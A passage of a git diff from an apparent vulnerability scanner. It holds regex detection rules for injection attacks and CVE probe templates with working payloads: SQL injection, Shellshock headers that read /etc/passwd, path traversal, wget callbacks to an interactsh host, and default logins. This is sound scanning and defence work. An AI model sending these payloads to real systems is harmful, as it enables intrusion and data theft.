2/2","tags":["sqli","id","lfi"],"impact":6},{"id":44,"rule":"(?:\\d\"\\s+\"\\s+\\d)|(?:^admin\\s*\"|(\\/\\*)+\"+\\s?(?:--|#|\\/\\*|{)?)|(?:\"\\s*or[\\w\\s-]+\\s*[+<>=(),-]\\s*[\\d\"])|(?:\"\\s*[^\\w\\s]?=\\s*\")|(?:\"\\W*[+=]+\\W*\")|(?:\"\\s*[!=|][\\d\\s!=+-]+.*[\"(].*$)|(?:\"\\s*[!=|][\\d\\s!=]+.*\\d+$)|(?:\"\\s*like\\W+[\\w\"(])|(?:\\sis\\s*0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:\"[<>~]+\")","description":"Detects basic SQL authentication bypass attempts 1/3","tags":["sqli","id","lfi"],"impact":7},{"id":45,"rule":"(?:union\\s*(?:all|distinct|[(!@]*)\\s*[([]*\\s*select)|(?:\\w+\\s+like\\s+\\\")|(?:like\\s*\"\\%)|(?:\"\\s*like\\W*[\"\\d])|(?:\"\\s*(?:n?and|x?or|not\\s|\\|\\||\\&\\&)\\s+[\\s\\w]+=\\s*\\w+\\s*having)|(?:\"\\s*\\*\\s*\\w+\\W+\")|(?:\"\\s*[^?\\w\\s=.,;)(]+\\s*[(@\"]*\\s*\\w+\\W+\\w)|(?:select\\s*[\\[\\]()\\s\\w\\.,\"-]+from)|(?:find_in_set\\s*\\()","description":"Detects basic SQL authentication bypass attempts 2/3","tags":["sqli","id","lfi"],"impact":7},{"id":46,"rule":"(?:in\\s*\\(+\\s*select)|(?:(?:n?and|x?or|not\\s|\\|\\||\\&\\&)\\s+[\\s\\w+]+(?:regexp\\s*\\(|sounds\\s+like\\s*\"|[=\\d]+x))|(\"\\s*\\d\\s*(?:--|#))|(?:\"[%&<>^=]+\\d\\s*(=|or))|(?:\"\\W+[\\w+-]+\\s*=\\s*\\d\\W+\")|(?:\"\\s*is\\s*\\d.+\"?\\w)|(?:\"\\|?[\\w-]{3,}[^\\w\\s.,]+\")|(?:\"\\s*is\\s*[\\d.]+\\s*\\W.*\")","description":"Detects basic SQL authentication bypass attempts 3/3","tags":["sqli","id","lfi"],"impact":7},{"id":47,"rule":"(?:[\\d\\W]\\s+as\\s*[\"\\w]+\\s*from)|(?:^[\\W\\d]+\\s*(?:union|select|create|rename|truncate|load|alter|delete|update|insert|desc))|(?:(?:select|create|rename|truncate|load|alter|delete|update|insert|desc)\\s+(?:(?:group_)concat|char|load_file)\\s?\\(?)|(?:end\\s*\\);)|(\"\\s+regexp\\W)|(?:[\\s(]load_file\\s*\\()","description":"Detects concatenated basic SQL injection and SQLLFI attempts","tags":["sqli","id","lfi"],"impact":5},{"id":48,"rule":"(?:@.+=\\s*\\(\\s*select)|(?:\\d+\\s*or\\s*\\d+\\s*[\\-+])|(?:\\/\\w+;?\\s+(?:having|and|or|select)\\W)|(?:\\d\\s+group\\s+by.+\\()|(?:(?:;|#|--)\\s*(?:drop|alter))|(?:(?:;|#|--)\\s*(?:update|insert)\\s*\\w{2,})|(?:[^\\w]SET\\s*@\\w+)|(?:(?:n?and|x?or|not\\s|\\|\\||\\&\\&)[\\s(]+\\w+[\\s)]*[!=+]+[\\s\\d]*[\"=()])","description":"Detects chained SQL injection attempts 1/2","tags":["sqli","id"],"impact":6},{"id":49,"rule":"(?:\"\\s+and\\s*=\\W)|(?:\\(\\s*select\\s*\\w+\\s*\\()|(?:\\*\\/from)|(?:\\+\\s*\\d+\\s*\\+\\s*@)|(?:\\w\"\\s*(?:[-+=|@]+\\s*)+[\\d(])|(?:coalesce\\s*\\(|@@\\w+\\s*[^\\w\\s])|(?:\\W!+\"\\w)|(?:\";\\s*(?:if|while|begin))|(?:\"[\\s\\d]+=\\s*\\d)|(?:order\\s+by\\s+if\\w*\\s*\\()|(?:[\\s(]+case\\d*\\W.+[tw]hen[\\s(])","description":"Detects chained SQL injection attempts 2/2","tags":["sqli","id"],"impact":6},{"id":50,"rule":"(?:(select|;)\\s+(?:benchmark|if|sleep)\\s*?\\(\\s*\\(?\\s*\\w+)","description":"Detects SQL benchmark and sleep injection attempts including conditional queries","tags":["sqli","id"],"impact":4},{"id":51,"rule":"(?:create\\s+function\\s+\\w+\\s+returns)|(?:;\\s*(?:select|create|rename|truncate|load|alter|delete|update|insert|desc)\\s*[\\[(]?\\w{2,})","description":"Detects MySQL UDF injection and other data/structure manipulation attempts","tags":["sqli","id"],"impact":6},{"id":52,"rule":"(?:alter\\s*\\w+.*character\\s+set\\s+\\w+)|(\";\\s*waitfor\\s+time\\s+\")|(?:\";.*:\\s*goto)","description":"Detects MySQL charset switch and MSSQL DoS attempts","tags":["sqli","id"],"impact":6},{"id":53,"rule":"(?:procedure\\s+analyse\\s*\\()|(?:;\\s*(declare|open)\\s+[\\w-]+)|(?:create\\s+(procedure|function)\\s*\\w+\\s*\\(\\s*\\)\\s*-)|(?:declare[^\\w]+[@#]\\s*\\w+)|(exec\\s*\\(\\s*@)","description":"Detects MySQL and PostgreSQL stored procedure/function injections","tags":["sqli","id"],"impact":7},{"id":54,"rule":"(?:select\\s*pg_sleep)|(?:waitfor\\s*delay\\s?\"+\\s?\\d)|(?:;\\s*shutdown\\s*(?:;|--|#|\\/\\*|{))","description":"Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts","tags":["sqli","id"],"impact":5},{"id":55,"rule":"(?:\\sexec\\s+xp_cmdshell)|(?:\"\\s*!\\s*[\"\\w])|(?:from\\W+information_schema\\W)|(?:(?:(?:current_)?user|database|schema|connection_id)\\s*\\([^\\)]*)|(?:\";?\\s*(?:select|union|having)\\s*[^\\s])|(?:\\wiif\\s*\\()|(?:exec\\s+master\\.)|(?:union\\sselect\\s@)|(?:union[\\w(\\s]*select)|(?:select.*\\w?user\\()|(?:into[\\s+]+(?:dump|out)file\\s*\")","description":"Detects MSSQL code execution and information gathering attempts","tags":["sqli","id"],"impact":5},{"id":56,"rule":"(?:merge.*using\\s*\\()|(execute\\s*immediate\\s*\")|(?:\\W+\\d*\\s*having\\s*[^\\s\\-])|(?:match\\s*[\\w(),+-]+\\s*against\\s*\\()","description":"Detects MATCH AGAINST, MERGE, EXECUTE IMMEDIATE and HAVING injections","tags":["sqli","id"],"impact":5},{"id":57,"rule":"(?:,.*[)\\da-f\"]\"(?:\".*\"|\\Z|[^\"]+))|(?:\\Wselect.+\\W*from)|((?:select|create|rename|truncate|load|alter|delete|update|insert|desc)\\s*\\(\\s*space\\s*\\()","description":"Detects MySQL comment-/space-obfuscated injections and backtick termination","tags":["sqli","id"],"impact":5},{"id":58,"rule":"(?:@[\\w-]+\\s*\\()|(?:]\\s*\\(\\s*[\"!]\\s*\\w)|(?:<[?%](?:php)?.*(?:[?%]>)?)|(?:;[\\s\\w|]*\\$\\w+\\s*=)|(?:\\$\\w+\\s*=(?:(?:\\s*\\$?\\w+\\s*[(;])|\\s*\".*\"))|(?:;\\s*\\{\\W*\\w+\\s*\\()","description":"Detects code injection attempts 1/3","tags":["id","rfe","lfi"],"impact":7},{"id":59,"rule":"(?:(?:[;]+|(<[?%](?:php)?)).*(?:define|eval|file_get_contents|include|require|require_once|set|shell_exec|phpinfo|system|passthru|preg_\\w+|execute)\\s*[\"(@])","description":"Detects code injection attempts 2/3","tags":["id","rfe","lfi"],"impact":7},{"id":60,"rule":"(?:(?:[;]+|(<[?%](?:php)?)).*[^\\w](?:echo|print|print_r|var_dump|[fp]open))|(?:;\\s*rm\\s+-\\w+\\s+)|(?:;.*{.*\\$\\w+\\s*=)|(?:\\$\\w+\\s*\\[\\]\\s*=\\s*)","description":"Detects code injection attempts 3/3","tags":["id","rfe","lfi"],"impact":7},{"id":62,"rule":"(?:function[^(]*\\([^)]*\\))|(?:(?:delete|void|throw|instanceof|new|typeof)[^\\w.]+\\w+\\s*[([])|([)\\]]\\s*\\.\\s*\\w+\\s*=)|(?:\\(\\s*new\\s+\\w+\\s*\\)\\.)","description":"Detects common function declarations and special JS operators","tags":["id","rfe","lfi"],"impact":5},{"id":63,"rule":"(?:[\\w.-]+@[\\w.-]+%(?:[01][\\db-ce-f])+\\w+:)","description":"Detects common mail header injections","tags":["id","spam"],"impact":5},{"id":64,"rule":"(?:\\.pl\\?\\w+=\\w?\\|\\w+;)|(?:\\|\\(\\w+=\\*)|(?:\\*\\s*\\)+\\s*;)","description":"Detects perl echo shellcode injection and LDAP vectors","tags":["lfi","rfe"],"impact":5},{"id":65,"rule":"(?:(^|\\W)const\\s+[\\w\\-]+\\s*=)|(?:(?:do|for|while)\\s*\\([^;]+;+\\))|(?:(?:^|\\W)on\\w+\\s*=[\\w\\W]*(?:on\\w+|alert|eval|print|confirm|prompt))|(?:groups=\\d+\\(\\w+\\))|(?:(.)\\1{128,})","description":"Detects basic XSS DoS attempts","tags":["rfe","dos"],"impact":5},{"id":67,"rule":"(?:\\({2,}\\+{2,}:{2,})|(?:\\({2,}\\+{2,}:+)|(?:\\({3,}\\++:{2,})|(?:\\$\\[!!!\\])","description":"Detects unknown attack vectors based on PHPIDS Centrifuge detection","tags":["xss","csrf","id","rfe","lfi"],"impact":7},{"id":68,"rule":"(?:[\\s\\/\"]+[-\\w\\/\\\\\\*]+\\s*=.+(?:\\/\\s*>))","description":"Finds attribute breaking injections including obfuscated attributes","tags":["xss","csrf"],"impact":4},{"id":69,"rule":"(?:(?:msgbox|eval)\\s*\\+|(?:language\\s*=\\*vbscript))","description":"Finds basic VBScript injection attempts","tags":["xss","csrf"],"impact":4},{"id":70,"rule":"(?:\\[\\$(?:ne|eq|lte?|gte?|n?in|mod|all|size|exists|type|slice|or)\\])","description":"Finds basic MongoDB SQL injection attempts","tags":["sqli"],"impact":4},{"id":71,"rule":"(?:[\\s\\d\\/\"]+(?:on\\w+|style|poster|background)=[$\"\\w])|(?:-type\\s*:\\s*multipart)","description":"finds malicious attribute injection attempts and MHTML attacks","tags":["xss","csrf"],"impact":6},{"id":72,"rule":"(?:(sleep\\((\\s*)(\\d*)(\\s*)\\)|benchmark\\((.*)\\,(.*)\\)))","description":"Detects blind sqli tests using sleep() or benchmark().","tags":["sqli","id"],"impact":4},{"id":73,"rule":"(?:(\\%SYSTEMROOT\\%))","description":"An attacker is trying to locate a file to read or write.","tags":["files","id"],"impact":4},{"id":75,"rule":"(?:(((.*)\\%[c|d|i|e|f|g|o|s|u|x|p|n]){8}))","description":"Looking for a format string attack","tags":["format string"],"impact":4},{"id":76,"rule":"(?:(union(.*)select(.*)from))","description":"Looking for basic sql injection. Common attack string for mysql, oracle and others.","tags":["sqli","id"],"impact":3},{"id":77,"rule":"(?:^(-0000023456|4294967295|4294967296|2147483648|2147483647|0000012345|-2147483648|-2147483649|0000023456|2.2250738585072007e-308|1e309)$)","description":"Looking for intiger overflow attacks, these are taken from skipfish, except 2.2250738585072007e-308 is the \"magic number\" crash","tags":["sqli","id"],"impact":3},{"id":78,"rule":"(?:%23.*?%0A)","description":"Detects SQL comment filter evasion","tags":["format string"],"impact":10},{"id":79,"rule":"((burpcollaborator|pipedream)\\.net|(canarytokens|requestrepo)\\.com|oast\\.(online|(liv|sit|m)e|fun|pro)|\\.ngrok(\\-free\\.(app|dev)|\\.((app|io)|dev)))","description":"Detects out-of-band (OOB) interaction or Server-Side Request Forgery (SSRF) attack attempts","tags":["ssrf","oob"],"impact":10},{"id":80,"rule":"(?i)(?:on(?:webkitanimationiteration|(?:(?:webkitanimation|(?:select|drag))s|t(?:ransition|ouch)s)tart|(?:webkit(?:transi|anima)tione|t(?:ransition|ouch)e|scrolle)nd|(?:beforescriptexecut|afterscriptexecut|(?:p(?:ointerrawupda|(?:opsta|as))|timeupda)t|b(?:eforetoggl|ounc)|(?:pointer|drag)leav|(?:pointer|touch)mov|mouse(?:lea|mo)v|pa(?:gehid|us)|resiz|clos)e|(?:mozfullscreen|fullscreen|(?:selec|dura)tion|hash|cue)change|unhandledrejection|a(?:nimation(?:iteration|cancel|start|end)|fterprint|uxclick)|transitioncancel|toggle\\(popover\\)|loaded(?:meta)?data|(?:canplaythroug|searc)h|(?:transitionru|(?:pointer|key)dow|mousedow|(?:focus|beg)i)n|pointerenter|(?:beforeunloa|invali|(?:seek|end)e|unloa)d|volumechange|c(?:(?:ontextmenu|ut)|opy)|(?:pointerov|drag(?:ent|ov))er|(?:(?:beforeinp|focuso)u|beforeprin|pointerou|beforecu|mouseou|submi|re(?:pea|se)|inpu)t|beforecopy|mouse(?:enter|over|up)|(?:mouse)?wheel|ratechange|(?:pointeru|keyu|dro)p|pageshow|progress|keypress|dblclick|canplay|dragend|playing|s(?:eeking|how)|message|s(?:croll|elect)|toggle|finish|change|focus|(?:erro|blu)r|click|start|drag|load|play|end))\\s*?=","description":"Detects common event attributes and properties","tags":["xss","csrf","id","rfe"],"impact":6}]} diff --git a/db/cves.json b/db/cves.json new file mode 100644 index 00000000..3cbd04a6 --- /dev/null +++ b/db/cves.json @@ -0,0 +1 @@ +{"templates":[{"id":"CVE-2014-4536","info":{"name":"Infusionsoft Gravity Forms Add-on < 1.5.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/infusionsoft/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Infusionsoft","Tags:"],"condition":"and","case-insensitive":true}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/infusionsoft/Infusionsoft/tests/notAuto_test_ContactService_pauseCampaign.php?go=go%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&contactId=contactId%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&campaignId=campaignId%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9444","info":{"name":"Frontend Uploader <= 0.9.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?page_id=0&&errors[fu-disallowed-mime-type][0][name]=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4210","info":{"name":"Oracle Weblogic - Server-Side Request Forgery","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://{{interactsh-url}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body","words":["Search public registries"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-5111","info":{"name":"Fonality trixbox - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/maint/modules/endpointcfg/endpointcfg.php?lang=../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-8682","info":{"name":"Gogs (Go Git Service) - SQL Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09(SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null)%09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as%09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN%09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN%09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN%09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN%09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN%09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"ok\":true","\"data\"","\"repolink\":\""],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9615","info":{"name":"Netsweeper 4.0.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webadmin/deny/index.php?dpid=1&dpruleid=1&cat=1&ttl=5018400&groupname="]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-3206","info":{"name":"Seagate BlackArmor NAS - Command Injection","severity":"critical"},"requests":[{"raw":["GET /backupmgt/localJob.php?session=fail;wget+http://{{interactsh-url}}; HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n","GET /backupmgt/pre_connect_check.php?auth_name=fail;wget+http://{{interactsh-url}}; HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2014-9617","info":{"name":"Netsweeper 3.0.6 - Open Redirection","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/remotereporter/load_logfiles.php?server=127.0.0.1&url=https://interact.sh/"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2014-6287","info":{"name":"HTTP File Server <2.3c - Remote Command Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/?search==%00{.cookie|{{str1}}|value%3d{{str2}}.}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["HFS /"]},{"type":"word","part":"header","words":["Set-Cookie: {{str1}}={{str2}};","text/html"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4513","info":{"name":"ActiveHelper LiveHelp Server 3.1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/activehelper-livehelp/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["ActiveHelper LiveHelp Live Chat"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/activehelper-livehelp/server/offline.php?MESSAGE=MESSAGE%3C%2Ftextarea%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&DOMAINID=DOMAINID&COMPLETE=COMPLETE&TITLE=TITLE&URL=URL&COMPANY=COMPANY&SERVER=SERVER&PHONE=PHONE&SECURITY=SECURITY&BCC=BCC&EMAIL=EMAIL%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&NAME=NAME%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-2323","info":{"name":"Lighttpd 1.4.34 SQL Injection and Path Traversal","severity":"critical"},"requests":[{"raw":["GET /etc/passwd HTTP/1.1\nHost: [::1]' UNION SELECT '/\n\n"],"unsafe":true,"matchers":[{"type":"regex","regex":["root:[x*]:0:0:"]}]}]},{"id":"CVE-2014-6308","info":{"name":"Osclass Security Advisory 3.4.1 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/osclass/oc-admin/index.php?page=appearance&action=render&file=../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-6271","info":{"name":"ShellShock - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}{{paths}}"],"payloads":{"paths":["","/cgi-bin/status","/cgi-bin/stats","/cgi-bin/test","/cgi-bin/status/status.cgi","/test.cgi","/debug.cgi","/cgi-bin/test-cgi","/cgi-bin/test.cgi"]},"stop-at-first-match":true,"headers":{"Shellshock":"() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd ","Referer":"() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd ","Cookie":"() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "},"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4539","info":{"name":"Movies <= 0.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/movies/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Movies =","Tags:"],"condition":"and"}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/movies/getid3/demos/demo.mimeonly.php?filename=filename%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9608","info":{"name":"Netsweeper 4.0.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webadmin/policy/group_table_ajax.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["webadminU=","webadmin="],"condition":"or"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-8799","info":{"name":"WordPress Plugin DukaPress 2.5.2 - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DB_NAME","DB_PASSWORD","DB_USER","DB_HOST"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-3744","info":{"name":"Node.js st module Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9618","info":{"name":"Netsweeper - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/webadmin/clientlogin/?srid=&action=showdeny&url="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["name=formtag action=\"../clientlogin/?srid=&action=showdeny&url=\"","placeholder=\"Profile Manager\">","Netsweeper WebAdmin"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4940","info":{"name":"WordPress Plugin Tera Charts - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/tera-charts/charts/zoomabletreemap.php?fn=../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4558","info":{"name":"WooCommerce Swipe <= 2.7.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"matchers":[{"type":"word","internal":true,"words":["/wp-content/plugins/swipehq-payment-gateway-woocommerce/"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/swipehq-payment-gateway-woocommerce/test-plugin.php?api_url=api_url%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E "],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-2908","info":{"name":"Siemens SIMATIC S7-1200 CPU - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Portal/Portal.mwsl?PriNav=Bgz&filtername=Name&filtervalue=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&Send=Filter"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-2383","info":{"name":"Dompdf < v0.6.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}{{paths}}"],"payloads":{"paths":["/dompdf.php?input_file=php://filter/resource=/etc/passwd","/PhpSpreadsheet/Writer/PDF/DomPDF.php?input_file=php://filter/resource=/etc/passwd","/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd","/includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd","/wp-content/plugins/web-portal-lite-client-portal-secure-file-sharing-private-messaging/includes/libs/pdf/dompdf.php?input_file=php://filter/resource=/etc/passwd","/wp-content/plugins/buddypress-component-stats/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd","/wp-content/plugins/abstract-submission/dompdf-0.5.1/dompdf.php?input_file=php://filter/resource=/etc/passwd","/wp-content/plugins/post-pdf-export/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd","/wp-content/plugins/blogtopdf/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd","/wp-content/plugins/gboutique/library/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd","/wp-content/plugins/wp-ecommerce-shop-styling/includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"]},"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/pdf","filename=\"dompdf_out.pdf\""],"condition":"and"},{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4561","info":{"name":"Ultimate Weather Plugin <= 1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/ultimate-weather-plugin/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Ultimate Weather","Tags:"],"condition":"and"}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/ultimate-weather-plugin/magpierss/scripts/magpie_debug.php?url=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9609","info":{"name":"Netsweeper 4.0.8 - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webadmin/reporter/view_server_log.php?act=stats&filename=log&offset=1&count=1&sortorder=0&filter=0&log=../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4535","info":{"name":"Import Legacy Media <= 0.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"matchers":[{"type":"word","internal":true,"words":["/wp-content/plugins/import-legacy-media/"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/import-legacy-media/getid3/demos/demo.mimeonly.php?filename=filename%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9614","info":{"name":"Netsweeper 4.0.5 - Default Weak Account","severity":"critical"},"requests":[{"raw":["POST /webadmin/auth/verification.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}/webadmin/start/\n\nlogin=branding&password=branding&Submit=Login\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["Location: ../common/","Location: ../start/"],"condition":"or"},{"type":"word","part":"header","words":["Set-Cookie: webadminU="]},{"type":"status","status":[302]}]}]},{"id":"CVE-2014-9094","info":{"name":"WordPress DZS-VideoGallery Plugin Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/dzs-videogallery/readme HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Video Gallery WordPress DZS"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/dzs-videogallery/deploy/designer/preview.php?swfloc=%22%3E%3Cscript%3Ealert(1)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4942","info":{"name":"WordPress EasyCart <2.0.6 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/wp-easycart/inc/admin/phpinfo.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["PHP Extension","PHP Version"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","part":"body","group":1,"regex":[">PHP Version <\\/td>([0-9.]+)"]}]}]},{"id":"CVE-2014-4592","info":{"name":"WP Planet <= 0.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET 